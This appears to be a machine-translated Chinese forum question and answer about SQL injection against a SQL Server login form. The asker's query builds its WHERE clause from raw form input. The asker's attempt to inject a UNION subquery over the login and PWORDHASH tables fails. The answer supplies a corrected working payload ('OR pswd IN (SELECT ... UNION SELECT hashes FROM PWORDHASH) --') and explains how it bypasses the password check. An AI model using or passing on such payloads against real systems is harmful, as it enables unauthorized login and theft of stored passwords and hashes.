我需要在 SQL Server 上执行 SQL 注入并操作现有的
SELECT
查询以添加另一个 SELECT
查询,其中我需要联合两个表。一张桌子名为 LOGIN
,另一张桌子名为 PWORDHASH
。
我需要注入的代码是这样的
SELECT *
FROM login
WHERE pswd = '$input';
输入是网页上的一个表单,我将在其中使用
'
字符进行利用。当我需要注入 OR
语句来绕过登录时,这通常有效,但在这种情况下,我需要输入另一个 SELECT
查询,就像这样。
我的注入代码是这样的
'(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH); --';
我在原来的声明中加入了这样的内容:
SELECT *
FROM login
WHERE pswd = ' '(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH); --';
但是,这段代码不会产生任何结果。如果我单独取出注入的查询,
(SELECT password FROM login UNION SELECT hashes FROM PWORDHASH);
并在我的数据库中运行它,我将收到行。所以查询是正确的,但我的注射不正确?
为了实现您的目标,您的注入字符串查询应该如下所示;
注射查询:
' OR pswd IN (SELECT password FROM login UNION SELECT hashes FROM PWORDHASH) --
原因如下:
' OR
将结束原来的pswd = '
条件,这使得原来的密码条件变得无关紧要。pswd IN (SELECT password FROM login UNION SELECT hashes FROM PWORDHASH)
旨在检查“登录”表中的密码是否存在于通过联合操作组合的两个结果集中。--
是一个 SQL 注释,它将使原始 SQL 查询的其余部分(如果有)无效,这样 SQL 查询的其余部分就不会干扰您注入的代码。我认为这应该可以解决您的问题。如果您有任何疑问,请添加评论。